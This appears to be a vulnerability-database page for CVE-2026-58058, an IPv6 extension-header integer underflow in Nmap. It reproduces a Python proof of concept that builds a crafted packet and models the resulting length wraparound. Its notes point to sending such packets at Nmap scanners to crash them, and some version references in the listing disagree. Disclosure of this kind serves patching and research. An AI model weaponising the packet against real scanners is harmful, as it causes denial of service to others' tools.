Nmap 7.99 - Extension Header Integer Underflow
| Reporter | Title | Published | Views | Family All 44 |
|---|---|---|---|---|
| CVE-2026-58058 | 28 Jun 202601:32 | – | attackerkb | |
| CVE-2026-58058 | 28 Jun 202601:32 | – | alpinelinux | |
| The vulnerability of the ipv6_get_data_primitive() function in the libnetutil/netutil.cc library, a networking scanning tool for Nmap, allows a hacker to cause a service failure. | 1 Jul 202600:00 | – | bdu_fstec | |
| CVE-2026-58058 affecting package nmap for versions less than 7.95-4 | 8 Jul 202616:02 | – | cbl_mariner | |
| CVE-2026-58058 | 28 Jun 202606:03 | – | circl | |
| CVE-2026-58058 | 28 Jun 202601:32 | – | cve | |
| CVE-2026-58058 Nmap - Integer Underflow in IPv6 Extension Header Parsing | 28 Jun 202601:32 | – | cvelist | |
| CVE-2026-58058 | 28 Jun 202601:32 | – | debiancve | |
| EUVD-2026-39978 | 28 Jun 202601:32 | – | euvd | |
| [SECURITY] Fedora 44 Update: nmap-7.92-11.fc44 | 3 Jul 202600:56 | – | fedora |
10
# Exploit Title: Nmap 7.99 - Extension Header Integer Underflow
# CVE: CVE-2026-58058
# Date: 2026-06-29
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub: https://github.com/mbanyamer
# Author Blog : https://banyamersecurity.com/blog/
# Vendor Homepage: https://nmap.org
# Software Link: https://nmap.org/download
# Affected: Nmap <= 7.99
# Tested on: Nmap 7.99 (raw IPv6 scans)
# Category: Remote Denial of Service
# Platform: Linux / Windows / macOS
# Exploit Type: Proof of Concept
# CVSS: 6.9
# Description: Triggers integer underflow in IPv6 extension header parsing (ipv6_get_data_primitive) leading to OOB reads and crash.
# Fixed in: Nmap commit bb6754e (post-7.99)
# Usage:
# python3 exploit.py
#
# Examples:
# python3 exploit.py
#
# Options:
# --
#
# Notes:
# • This is a standalone parser + packet model PoC.
# • For real triggering, craft and send IPv6 packets toward an Nmap scanner.
#
# How to Use
#
# Step 1:
# Save as exploit.py and run with Python 3.
#
# Step 2:
# Observe the length wraparound that would cause Nmap to misbehave.
def banner():
print(r"""
╔██████╗ █████╗ ███╗ ██╗██╗ ██╗ █████╗ ███╗ ███╗███████╗██████╗╗
║██╔══██╗██╔══██╗████╗ ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║
║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗ ███████╔╝
║██╔══██╗██╔══██║██║╚██╗██║ ╚██╔╝ ██╔══██║██║╚██╔╝██║██╔══╝ ██╔══██╗
║██████╔╝██║ ██║██║ ╚████║ ██║ ██║ ██║██║ ╚═╝ ██║███████╗██║ ██║
╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝
╔═╗ Banyamer Security ╔═╗
""")
def is_extension(hdr):
return hdr in [0, 43, 44, 60]
def is_upper(hdr):
return hdr in [6, 17, 58, 132]
def parse_ipv6_payload(packet, upper_only=True):
if len(packet) < 40:
return None, None, None
nxt = packet[6]
p = 40
end = len(packet)
while p < end and is_extension(nxt):
if p + 2 > end:
return None, None, None
nxt = packet[p]
ext_len = packet[p + 1]
p += (ext_len + 1) * 8
payload_len = end - p
if upper_only and not is_upper(nxt):
return None, None, None
return p, nxt, payload_len
def main():
banner()
# Crafted packet (48 bytes)
packet = bytearray(48)
packet[0] = 0x60
packet[4] = 0x00
packet[5] = 0x08 # IPv6 payload length = 8
packet[6] = 0 # Next Header = Hop-by-Hop
packet[40] = 17 # Extension next = UDP
packet[41] = 1 # Extension length field = 1
captured_len = len(packet)
payload_offset, next_header, payload_len = parse_ipv6_payload(packet)
print("helper_returned =", "true" if payload_offset is not None else "false")
print("next_header =", next_header)
print("payload_offset =", payload_offset)
print("wrapped_payload_len =", payload_len)
# Downstream length adjustment model
ip_payload_len = (packet[4] << 8) | packet[5]
validator_len = captured_len
if payload_len > ip_payload_len:
validator_len -= payload_len - ip_payload_len
print("validator_len_after_adjust =", validator_len)
print("captured_len =", captured_len)
if __name__ == "__main__":
main()Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
17 Aug 2026 00:00Current
6.3Medium risk
Vulners AI Score6.3
CVSS 3.16.5
CVSS 46.9
EPSS0.00878
SSVC